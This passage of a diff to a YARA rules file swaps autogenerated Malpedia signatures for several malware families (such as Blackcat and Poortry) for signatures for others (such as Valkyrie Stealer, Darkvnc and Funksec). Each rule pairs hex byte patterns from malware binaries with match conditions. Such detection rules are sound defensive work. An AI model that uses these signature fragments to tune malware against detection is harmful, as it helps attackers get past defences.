= { 488d8c246ed9e517 f5 f8 4889c3 488d3ced1b6cb3bd } - $sequence_13 = { 4889542420 4c8d442430 41b908000000 488bd3 488bc8 } - $sequence_14 = { c745b073734e6f c745b474696679 c745b8526f7574 c745bc696e6545 66c745c07800 } - $sequence_15 = { fecb 4889e8 b377 b301 660fa3d2 0fbae207 } + $sequence_0 = { 0f84fa0f0000 83ec08 0fae5c2404 8b442404 25807f0000 3d801f0000 750f } + $sequence_1 = { 0fbf45fc c9 c3 8bff 55 8bec 83ec18 } + $sequence_2 = { 68a00f0000 ff15???????? 6a00 6a00 6a00 6a06 6a01 } + $sequence_3 = { 7541 d9ec d9c9 d9f1 833d????????00 0f854c0d0000 } + $sequence_4 = { 5d e9???????? 8bff 55 8bec b8ffff0000 83ec14 } + $sequence_5 = { 8bc6 5e 5d c20400 e8???????? cc 56 } + $sequence_6 = { 8d642408 0f85c90f0000 eb00 f30f7e442404 660f2815???????? 660f28c8 660f28f8 } + $sequence_7 = { 75be ddd8 db2d???????? b802000000 833d????????00 0f85e00c0000 } + $sequence_8 = { 4889742418 57 4883ec20 488d05da910700 33f6 488901 488b4108 } + $sequence_9 = { e9???????? 488d8a48000000 e9???????? 488d8a40010000 e9???????? 488d8ab0010000 e9???????? } + $sequence_10 = { 4c8bc7 89742428 33d2 b9e9fd0000 4889442420 ff15???????? 0f10442450 } + $sequence_11 = { 4533c0 488bd6 488d4dc7 e8???????? 488b7ddf 4533e4 eb67 } + $sequence_12 = { 0f57c9 f30f7f4d40 488d4d40 e8???????? 488d4d40 e8???????? } + $sequence_13 = { 0f1145c7 4c8965d7 48897ddf 66448965c7 488d7160 48897597 44386168 } + $sequence_14 = { 0f57c0 488d5308 48890b 488d4808 0f1102 e8???????? 488d0588aa0600 } + $sequence_15 = { 90 44897608 488d0554590500 488906 488937 488d4dd7 e8???????? } condition: - 7 of them and filesize < 795648 + 7 of them and filesize < 1238016 } -rule MALPEDIA_Elf_Blackcat_Auto : FILE +rule MALPEDIA_Win_Dented_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "73330468-751f-50b4-b552-0b9e2c8419d0" + id = "ec077e48-e364-5ad2-b3eb-708d9cb96474" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.blackcat_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dented" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dented_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "ed5b892df40ee57ffa43026084cc0b81998de922d2939024f186c2c4f53be22e" - score = 60 - quality = 45 + logic_hash = "8a83542dc4cfbb6071fb1f2a2748ff19dad273e746a7625af72e8307d011702d" + score = 75 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -88088,32 +88125,32 @@ rule MALPEDIA_Elf_Blackcat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7227 b803000000 81fa???????? 721a } - $sequence_1 = { b903000000 81fa???????? 721a b904000000 81fa???????? 720d } - $sequence_2 = { 08d9 80f901 750e 84c0 } - $sequence_3 = { 83f801 0f95c0 20c8 0fb6e8 } - $sequence_4 = { 721a b904000000 81fa???????? 720d } - $sequence_5 = { e8???????? 0f0b 90 90 90 55 53 } - $sequence_6 = { e8???????? 0f0b 90 90 90 90 53 } - $sequence_7 = { 5d c3 e8???????? 0f0b 90 90 90 } - $sequence_8 = { 762a 0fb6c8 8d1489 8d0cd1 c1e90c 6bd164 } - $sequence_9 = { 7227 b803000000 81fa???????? 721a b804000000 81fa???????? } + $sequence_0 = { 68???????? bf08020000 8d85ecfbffff 57 } + $sequence_1 = { c1e814 8b4dfc 5f 33cd } + $sequence_2 = { 8d55ff a1???????? 52 885dff 8d4810 } + $sequence_3 = { 8b35???????? 8d85f8feffff 50 8d85f4fdffff 50 ffd6 } + $sequence_4 = { 6a01 53 68???????? ffb5e8fbffff ff15???????? } + $sequence_5 = { e8???????? 8364242c00 8d4c2434 807d1c00 c74424300f000000 c644241c00 } + $sequence_6 = { 59 8bf0 8bcf 33c0 89b5e8f7ffff 2185f0f7ffff } + $sequence_7 = { 8b85f8f7ffff 8a8485fcfbffff 32c1 880416 8b8decf7ffff 43 42 } + $sequence_8 = { c21000 55 8bec 81ec18040000 a1???????? 33c5 8945fc } + $sequence_9 = { 5f 57 8d45b8 6a00 50 } condition: - 7 of them and filesize < 8011776 + 7 of them and filesize < 450560 } -rule MALPEDIA_Win_Unidentified_092_Auto : FILE +rule MALPEDIA_Win_Valkyrie_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "59b4c790-d726-59b3-ba7e-c5c1b1aad17c" + id = "d4598928-8b14-591c-9777-90769a8eecd7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_092" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_092_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.valkyrie_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.valkyrie_stealer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "94c0cdecf630787615c3fd3071d6bf919aa9412f5889bd4558c045e4fba0dd89" + logic_hash = "c5262da30071ead337de0712314a64ba13ec652e925a6c656e4cda19b1fcb853" score = 75 quality = 75 tags = "FILE" @@ -88127,34 +88164,34 @@ rule MALPEDIA_Win_Unidentified_092_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 8b08 ff511c c745fcffffffff 83ceff 8b7db4 } - $sequence_1 = { e8???????? 83bd94f6ffff08 8d8d98f5ffff 8d8580f6ffff 0f438580f6ffff 51 } - $sequence_2 = { 57 6a00 ff15???????? 50 ff15???????? 8bc3 8b4df4 } - $sequence_3 = { 8d8d14f6ffff e8???????? 8d8d14f6ffff 8ad8 e8???????? 84db 0f84b0000000 } - $sequence_4 = { 8b5ddc 03ca 23c7 8bd3 0bf0 c1ca0b 03f1 } - $sequence_5 = { 8b470c 89460c 8b4710 894610 c745fc00000000 8d4e14 c706???????? } - $sequence_6 = { c1c10a c1ca0d 33d1 895dfc 8b4df4 c1c902 33d1 } - $sequence_7 = { 8d8db8fdffff 81e37fffffff e8???????? f6c340 } - $sequence_8 = { ffd7 8bf8 897dd4 eb03 8b7dd4 } - $sequence_9 = { 51 8bd0 8d8d68fbffff e8???????? 8bf8 83c410 8d045b } + $sequence_0 = { 89442430 85c0 0f85ab130000 4a8b4c3500 44396914 7d18 e8???????? } + $sequence_1 = { 85c9 741c 498b07 44386067 750f 498b8788000000 488d0c49 } + $sequence_2 = { e8???????? 448b4ddc eb2a 8d4101 418907 488d0c49 488b8388000000 } + $sequence_3 = { 8bc2 c645b82d c1e81f 03d0 c645bb20 c645be3a 8d0492 } + $sequence_4 = { 8bde eb4e 803c3e75 751b 8d4305 413bc6 7359 } + $sequence_5 = { e8???????? 8d4701 e9???????? 8bcd 488d15829f0b00 4803ce 41b804000000 } + $sequence_6 = { 8b8590000000 ffc8 4898 488d0c40 488d1ccf 0fbe4301 3cfa } + $sequence_7 = { 7417 4c8b542448 41f6427002 750b 410fbae61c 0f820c010000 488b85f0000000 } + $sequence_8 = { 488bf0 4885c0 0f84cb000000 837d0800 7411 488b4f20 498bd6 } + $sequence_9 = { eb25 48c744242002000000 4c8d0d17781100 4533c0 ba02000000 488d8c2498000000 e8???????? } condition: - 7 of them and filesize < 10202112 + 7 of them and filesize < 2895872 } -rule MALPEDIA_Win_Oldbait_Auto : FILE +rule MALPEDIA_Win_Milum_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3d100a63-9903-54ef-879e-2f52e4e2c1c3" + id = "072a5425-70d6-5cbe-aab8-850ca665ab19" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oldbait_auto.yar#L1-L229" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.milum" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.milum_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "3c4b648b9be2acfeca2a30294d4a7ef92b56cb886b14af5b01f11170901c19b6" + logic_hash = "9236edc24d0ffb81128dcba2f9b72495a7a041ad4784e9ea16fcd910b2720b0b" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -88166,46 +88203,32 @@ rule MALPEDIA_Win_Oldbait_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7409 43 83c104 83fb40 72f3 } - $sequence_1 = { 8b86f5b11800 8945cc 8b86fdb11800 8945bc } - $sequence_2 = { 05d4db1900 8945f4 ff35???????? ff75fc } - $sequence_3 = { 8d4b08 51 50 ff75e4 } - $sequence_4 = { 50 57 ff55e8 6800080000 ff750c } - $sequence_5 = { 3571281424 42 3bd6 894510 72da 8bc7 5f } - $sequence_6 = { 56 56 50 ff75ac } - $sequence_7 = { 6a00 6a01 6800000080 ff75f8 ff15???????? } - $sequence_8 = { 57 8b7d08 8d70ff 85f6 } - $sequence_9 = { 888800b01800 ebda 8b45fc 0531b11800 50 8b45f8 } - $sequence_10 = { 47 0504040000 83ff08 72f0 83ff08 0f83a6000000 } - $sequence_11 = { 6a40 6800300000 68d4fd1900 6a00 ff15???????? } - $sequence_12 = { 50 ff7508 ff55e0 ff7508 8d83fcf7ffff } - $sequence_13 = { 0f84d3010000 837d0800 0f84c9010000 837ddc0c 7518 } - $sequence_14 = { 7626 8b4510 8bca 83f101 83e107 d3e8 } - $sequence_15 = { 55 8bec 8b450c 56 33d2 57 8b7d08 } - $sequence_16 = { 8b45f8 301c07 41 47 3b4d10 } - $sequence_17 = { 50 8d45c4 50 68???????? ff35???????? ffd6 } - $sequence_18 = { ff55d8 8bd8 83fbff 752c 8d45c4 50 } - $sequence_19 = { 6a00 ff750c ff75fc ff55f0 } - $sequence_20 = { 6a64 50 6a01 6a00 } - $sequence_21 = { ffd6 ffd0 53 ff55e4 90 90 90 } - $sequence_22 = { 50 ff75e0 e8???????? 90 } - $sequence_23 = { 57 8d45ec 57 50 53 } + $sequence_0 = { 0f85c1000000 8b7608 385e44 751c c6424401 c6464401 8b5104 } + $sequence_1 = { 53 8d9424bc000000 c741140f000000 895910 52 8819 e8???????? } + $sequence_2 = { 89a570feffff 6aff 53 8d5508 897114 895910 52 } + $sequence_3 = { 8b4214 2b4644 8b5218 8945e4 03c1 3bc2 7605 } + $sequence_4 = { 8b5604 52 c645fc06 e8???????? bf10000000 eb1b bf10000000 } + $sequence_5 = { 895e18 885e08 8b4df4 64890d00000000 59 5e 5b } + $sequence_6 = { 50 ba???????? e8???????? 8b850cfcffff a804 7414 8d4dc8 } + $sequence_7 = { 7e16 8b4d08 8b55d8 c741180d000000 89511c 83791800 7509 } + $sequence_8 = { c645fc17 50 8d4dc8 e8???????? c645fc03 8d8d04ffffff e8???????? } + $sequence_9 = { c745e000000000 c645d000 397e14 7314 8b4610 40 50 } condition: - 7 of them and filesize < 172032 + 7 of them and filesize < 1076224 } -rule MALPEDIA_Win_Poortry_Auto : FILE +rule MALPEDIA_Win_Retro_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1496d84e-656c-5933-9472-ddcca15979df" + id = "d637dc20-27e8-52c5-9acd-7f862f01bb0c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poortry" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poortry_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.retro" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.retro_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "e3df0ea052d8930e4d05b0682bf4eefe707f0b5452f36cf3547bbe2d0167b185" + logic_hash = "273926cf1373ebba7c2ee31df8ab1a96a84446d1d934a401daaeed8742274515" score = 75 quality = 75 tags = "FILE" @@ -88219,32 +88242,32 @@ rule MALPEDIA_Win_Poortry_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 80c2d6 f6da 41d2db 80f283 4d63d8 4181e3cc593b0e 41c0c35a } - $sequence_1 = { 9c 418f00 450fbbf2 458b11 664585f0 66f7c16046 4181fd7b733a3c } - $sequence_2 = { 41d3d3 312c24 66450fabe3 410fbafb10 415b 3ac5 f9 } - $sequence_3 = { 0fbfdb 66440fb3fa 418ad6 410fb618 48d3ea 66d3c2 d2fe } - $sequence_4 = { 480fbfed f8 44311c24 400f9ec5 5d f8 4d63db } - $sequence_5 = { 4d0fb7e7 448ae7 415c 66450fbeea 66410fcd 490fbfed 415d } - $sequence_6 = { 0fca 41f6c185 56 311424 f8 5e 4863d2 } - $sequence_7 = { 66f7de 5e 4584c3 f9 4c3bc0 4d63d2 4d85eb } - $sequence_8 = { 488b11 40f6c6b8 498912 4863d7 411ad2 4881ef04000000 66c1daa9 } - $sequence_9 = { f5 55 4080e5d9 4881cda16c1a19 40d2d5 311424 66440fbbfd } + $sequence_0 = { f3ab 498bec 4585e4 0f8e59010000 488b442428 f2440f1005???????? 498db5fc070000 } + $sequence_1 = { 4c8b442460 ffc0 4883c108 4883c204 4983c320 4981c100240000 4981c220290000 } + $sequence_2 = { 488bd9 e8???????? 85c0 7409 8b430c 4883c420 5b } + $sequence_3 = { 488b4f18 4533c0 e8???????? 488b4f20 8981a0120000 488b4720 8b88ec120000 } + $sequence_4 = { 664585d2 7964 4983c102 ffce 7852 498b942430560000 418b8c2428560000 } + $sequence_5 = { f30f5cd9 f30f108814100000 f30f59c4 f30f59dc f30f114018 f30f119818100000 f30f105810 } + $sequence_6 = { 418bd5 488bcb 4869ff90140000 4903ff e8???????? 837b2401 750b } + $sequence_7 = { 0f14c0 450f14c0 0f5ac0 410f5ac8 f2410f58c2 f20f5ec8 f20f5ad1 } + $sequence_8 = { 83c364 83bfa000000000 740b 488bd6 488bcf e8???????? 4533c9 } + $sequence_9 = { f30f114f08 f30f104308 0f2f4708 768e ba01000000 eb89 f30f104304 } condition: - 7 of them and filesize < 8078336 + 7 of them and filesize < 1409024 } -rule MALPEDIA_Win_Nvisospit_Auto : FILE +rule MALPEDIA_Win_Lumar_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "45693521-741e-5d7b-a1e6-3a76e159ad3c" + id = "66198547-c312-5005-8756-3c4d434f3dfb" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nvisospit" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nvisospit_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lumar" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lumar_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "ff70ccb56c3ba29da1863614e8053ff80e99b0375420038026fb05b34e9ea2b2" + logic_hash = "7775336cd5e4593c9fd91e39a7fb1823140e1a9590624def112d1a4339e9c62e" score = 75 quality = 75 tags = "FILE" @@ -88258,32 +88281,32 @@ rule MALPEDIA_Win_Nvisospit_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f807 7ea8 83f80b 8b15???????? 0f8e16010000 85d2 0f8493010000 } - $sequence_1 = { 0f8598000000 8b15???????? b9???????? e9???????? 0fb60f 89cb } - $sequence_2 = { 3b5dc4 89b700004000 89da 75d8 } - $sequence_3 = { 8b00 89442404 c70424???????? e8???????? 8b859cf9ffff 0fb74004 0fb7c0 } - $sequence_4 = { 8d7600 8dbc2700000000 b9???????? 85d2 0f85eafeffff 8b7104 } - $sequence_5 = { 83c308 8b7a04 8b12 039700004000 8d8700004000 89d6 e8???????? } - $sequence_6 = { 89742410 894c240c 89542408 89442404 c70424???????? } - $sequence_7 = { 8b35???????? 85f6 0f8ef0000000 8b3d???????? } - $sequence_8 = { b9???????? e9???????? 0fb60f 89cb 81cb00ffffff } - $sequence_9 = { 89c3 89f8 e8???????? 891f ebcc 0fb79900004000 } + $sequence_0 = { 7418 8b4514 83c004 894514 8b4514 } + $sequence_1 = { 6a68 66898506ffffff 58 6a2f 6689850affffff 58 } + $sequence_2 = { 8bd9 03fe e8???????? 3bf8 7604 33c0 } + $sequence_3 = { e8???????? 8b7d08 8b5610 8bca 2b4e0c 0fb7df } + $sequence_4 = { 58 6bc005 ff5405b4 6a04 58 6bc007 } + $sequence_5 = { 668945b0 e8???????? 83c414 fe05???????? 8bce e8???????? 8bcb } + $sequence_6 = { 3bc2 753e 8b4510 85c0 74d3 } + $sequence_7 = { 0fb74df8 3bc1 7503 ff65e0 ebd9 } + $sequence_8 = { 0f2805???????? b900010000 53 56 57 } + $sequence_9 = { 8d842414010000 47 50 57 6a00 c7842420010000a8010000 } condition: - 7 of them and filesize < 66560 + 7 of them and filesize < 81920 } -rule MALPEDIA_Win_Nokki_Auto : FILE +rule MALPEDIA_Win_Tinytyphon_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5dc3d6e8-6868-523c-9edf-f4ac449ab566" + id = "ab55cd29-217a-5df2-bee5-a74f289c1c92" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nokki" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nokki_auto.yar#L1-L149" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinytyphon" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinytyphon_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "0fb121b3fe7dee465d08717e2553d7155ecc791f48d5f128590e890ccc5d33a8" + logic_hash = "68d6c1790e6e0cef7204bca3122eca023e6ea67ccbabc152f7ca7bf6dee039f5" score = 75 quality = 75 tags = "FILE" @@ -88297,36 +88320,32 @@ rule MALPEDIA_Win_Nokki_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 33d2 68ce070000 52 } - $sequence_1 = { e8???????? 33c9 68ce070000 51 } - $sequence_2 = { a1???????? a3???????? a1???????? c705????????b7634000 } - $sequence_3 = { 8b550c 83c41c 6a00 6880000000 } - $sequence_4 = { 8945ca 8945ce 668945d2 e8???????? 33c0 8945d6 8945da } - $sequence_5 = { c745ec5c374000 894df8 8945fc 64a100000000 8945e8 8d45e8 } - $sequence_6 = { 51 52 ff15???????? 85c0 0f85b1010000 8b957ce8ffff } - $sequence_7 = { 8d8db4f7ffff 51 68???????? 56 ffd3 } - $sequence_8 = { e8???????? 33c0 8d4dac 51 668945ac 8945ae } - $sequence_9 = { e8???????? 83c404 8bf0 8d850cf8ffff } - $sequence_10 = { 68???????? eb10 6a0b 68???????? eb07 6a0d } - $sequence_11 = { 83c40c 6bc930 8975e0 8db1a0e94000 8975e4 eb2b } - $sequence_12 = { 888888e84000 40 ebe6 ff35???????? } - $sequence_13 = { e8???????? ebde 8bc8 83e01f c1f905 8b0c8d80054100 c1e006 } + $sequence_0 = { 51 ff15???????? 8d55ec 52 ff15???????? 8d45ec } + $sequence_1 = { 7412 68???????? 8d85e8feffff 50 ff15???????? 8d8dccfdffff 51 } + $sequence_2 = { 0bc2 8b4df4 0fb6512b c1e218 0bc2 8b4d08 } + $sequence_3 = { 8b55c8 0355c0 8b45d4 0345c0 8a08 880a } + $sequence_4 = { 8b550c 8b4208 50 68???????? 8b4d08 51 ff15???????? } + $sequence_5 = { 83bd54ffffff00 7517 8b9558ffffff 52 ff15???????? b801000000 e9???????? } + $sequence_6 = { c1e918 8b550c 884a53 8b450c } + $sequence_7 = { 85c0 744b 8b5508 0fb602 } + $sequence_8 = { 8945f0 837df000 0f8485000000 8b4df0 0fbe5108 83fa02 7410 } + $sequence_9 = { 8945f8 8b4ddc f7d1 0b4df8 334de4 8b5508 038a94000000 } condition: - 7 of them and filesize < 454656 + 7 of them and filesize < 90112 } -rule MALPEDIA_Win_Proto8_Rat_Auto : FILE +rule MALPEDIA_Win_Darkvnc_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a653386d-0e84-5fa0-9e05-c0a8f9e5f3b1" + id = "333202ce-cf04-5e1c-95d5-ed62536bc798" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.proto8_rat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.proto8_rat_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkvnc" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.darkvnc_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "e04ff586ad60efc989beb40a085354d9626a8059dbb86884929c6e4aa752aeb0" + logic_hash = "7d4bb25715c42c98fca5b840dde51c070d19a7e331a44598eca4d1a3afd0df99" score = 75 quality = 75 tags = "FILE" @@ -88340,32 +88359,32 @@ rule MALPEDIA_Win_Proto8_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b5a10 8b4210 83c308 83e3fa a801 7421 8b4210 } - $sequence_1 = { ba80000000 e8???????? c70302000000 4c8b8320010000 488d4318 488b9328010000 33f6 } - $sequence_2 = { 837c244801 0f8595000000 488b6c2458 8b7b30 488b4b48 488b01 ff5008 } - $sequence_3 = { 7468 3bca 8bc1 0f46c2 ffc0 4103c0 3bf0 } - $sequence_4 = { 89531c 48873cc8 4885ff 7506 8d4201 89431c 40f6c701 } - $sequence_5 = { e8???????? 448bf0 e9???????? 4c8b86a8000000 488d8e88000000 488b96b0000000 4d8bcd } - $sequence_6 = { 7636 66660f1f840000000000 8bc8 48c1e106 428b541124 85d2 } - $sequence_7 = { 8b8b64810100 897dd4 897de4 897df4 488b8378810100 488d55b0 } - $sequence_8 = { 83e801 7455 83e801 743d 83e801 740a 83f801 } - $sequence_9 = { 8b4318 3bc8 0f8e96000000 488b4b38 48894c2450 e8???????? } + $sequence_0 = { 428994817c120000 48638178540000 891481 ff8178540000 c3 8bc2 41b2ff } + $sequence_1 = { 81f9f4010000 7265 488bd5 898708030000 488bcf e8???????? 488b4768 } + $sequence_2 = { 4c8bc1 ebdd 81fba3000000 0f8583000000 33d2 488bcf ff15???????? } + $sequence_3 = { 4c8bf9 4889b5b8020000 4889bdc0020000 488d1508df0000 488d4d00 33ff 4d8be1 } + $sequence_4 = { 488d542420 488bcf e8???????? 8bd8 488b0d???????? 4c8bc7 33d2 } + $sequence_5 = { 740c 498bd7 488bcb ff15???????? 4d85f6 740c } + $sequence_6 = { f645e801 7425 8b8f80000000 85c9 0f94c0 a801 7436 } + $sequence_7 = { e9???????? 488b442448 4889442460 488b442460 4863403c 488b4c2460 4803c8 } + $sequence_8 = { 83caff ff15???????? 488d55e0 488bcb e8???????? 488b8be8070000 ff15???????? } + $sequence_9 = { 4889842480000000 4883bc24800000000d 0f874b070000 488d0577f9feff 488b8c2480000000 8b8c88dc0d0100 } condition: - 7 of them and filesize < 2537472 + 7 of them and filesize < 606208 } -rule MALPEDIA_Win_Listrix_Auto : FILE +rule MALPEDIA_Win_Zenar_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ae5c6849-5b5a-5879-a75b-5bc936755797" + id = "33657347-5dc4-5466-88de-08ba2a4ff542" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.listrix" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.listrix_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zenar" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zenar_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "a979992135eb70be35ff3f9edeaffae4a914b7c2e246324beb1e16b7e069112c" + logic_hash = "b1dde475bc16460bb8f7878e012acfd9a678e7c83f20d6fc1c96df7645d0898c" score = 75 quality = 75 tags = "FILE" @@ -88379,32 +88398,32 @@ rule MALPEDIA_Win_Listrix_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 ff15???????? 85f6 0f8492000000 0fb78deef7ffff } - $sequence_1 = { 51 52 50 8d8dc0f5ffff 51 } - $sequence_2 = { 55 8bec 33c0 8b4d08 3b0cc5186a4000 740a 40 } - $sequence_3 = { ebe6 c745e060614000 817de064614000 7311 8b45e0 8b00 85c0 } - $sequence_4 = { 817de45c614000 7311 8b45e4 8b00 85c0 } - $sequence_5 = { 8b5510 8d46ff 50 8b8584f5ffff 51 52 } - $sequence_6 = { 52 ff15???????? 68???????? 8d85f4f7ffff 50 } - $sequence_7 = { 668b4c4310 66890c457ca74000 40 ebe8 33c0 8945e4 3d01010000 } - $sequence_8 = { 7718 0f85b6000000 8b85a8f5ffff 3b857cf5ffff 0f86a4000000 0fb78deef7ffff } - $sequence_9 = { 52 ff15???????? 83c428 8d85f4fbffff 50 } + $sequence_0 = { 8b4d8c 51 50 e8???????? 59 } + $sequence_1 = { 751a 83f8ff 740f 83f8fe 740a 6bcf38 030c9598ae4300 } + $sequence_2 = { 83c801 50 6800000080 ff7508 e8???????? 5d } + $sequence_3 = { 56 ff7508 e8???????? 83c40c e9???????? 8b048d98ae4300 807c022800 } + $sequence_4 = { 68???????? eb0c 68???????? eb05 68???????? e8???????? 39be90000000 } + $sequence_5 = { 8bf1 57 ff750c 33ff 8975fc 8d4e0c c706???????? } + $sequence_6 = { c3 6857000780 68???????? 8d4df0 e8???????? 68???????? 8d45f0 } + $sequence_7 = { 8945fc 56 ff750c 8b7508 8d45fa 50 8975c8 } + $sequence_8 = { 3bfe 72f3 33c0 66890472 8bc3 } + $sequence_9 = { 48 6a5c 5e 8d0442 eb0d 6683f92f 740f } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 519168 } -rule MALPEDIA_Win_Grapeloader_Auto : FILE +rule MALPEDIA_Win_Funksec_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "eb279ded-b2c5-5f10-9bdf-71ce0cb379f9" + id = "9193fd51-0ac6-5db6-9635-e6eb925df3d1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grapeloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grapeloader_auto.yar#L1-L129" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.funksec" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.funksec_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "9956347475bad3c02131a3202e37348872c31d719ae25d5814bb41f19904ddf4" + logic_hash = "06f95012988e8bb48797f6f8504bd1b10c3653d29a2d1e0983bf3fe910630ecb" score = 75 quality = 75 tags = "FILE" @@ -88418,32 +88437,32 @@ rule MALPEDIA_Win_Grapeloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 88542417 48894c2408 48c7042400000000 48833c2414 731e 8a542417 } - $sequence_1 = { 0fbe4c2429 0fb7442410 01c8 6689442410 0fb644241b 0faf442420 89442420 } - $sequence_2 = { eb00 488b8580000000 4889e1 488d95c4020000 48895120 48c7c1ffffffff 488d95d0020000 } - $sequence_3 = { 5b c3 4883ec28 4c8d0d85b60000 33c9 4c8d0578b60000 488d1579b60000 } - $sequence_4 = { 4883ec38 4889542430 48894c2428 488b4c2428 48894c2420 48c7015c000000 } - $sequence_5 = { 03442438 89442438 0fb744243c 05876c0000 668944243c 8b442438 03442424 } - $sequence_6 = { 29c8 88442413 0fbf44243a 69c0be000000 668944243a 0fbf4c243a } - $sequence_7 = { 4889442428 f6401c01 7412 488b4c2428 c6411c00 4883c108 e8???????? } - $sequence_8 = { 488d8d08030000 e8???????? 488d8d38030000 e8???????? c7850003000000000000 488d8ddf020000 } - $sequence_9 = { eb00 488b9590010000 488b8d80010000 e8???????? 48898578010000 eb00 } + $sequence_0 = { e8???????? 4c8bb550020000 440fb68d58020000 48b80a00000000000080 4939c6 0f85a9020000 4489e1 } + $sequence_1 = { e8???????? 66c7060101 c7460401000000 488d05b2591e00 48894608 48c7461001000000 